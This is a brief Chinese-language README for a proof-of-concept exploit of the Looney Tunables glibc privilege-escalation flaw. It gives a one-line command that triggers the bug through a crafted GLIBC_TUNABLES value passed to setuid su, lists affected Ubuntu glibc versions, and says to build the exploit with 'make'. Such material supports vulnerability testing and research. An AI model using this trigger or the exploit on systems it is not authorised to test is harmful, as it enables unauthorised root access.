这是一个针对 Looney Tunables Linux 权限提升漏洞的概念验证(PoC)。该 PoC 基于 此 PoC。非常感谢 leesh3288。这里 可以找到非常详细的分析文章,这里 可以观看 IppSec 制作的超酷视频。
检查是否存在漏洞
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
值得一提的是,存在漏洞的 glibc 版本(包括此版本)为 2.35-0ubuntu3.3 及以下。
运行利用程序
$ make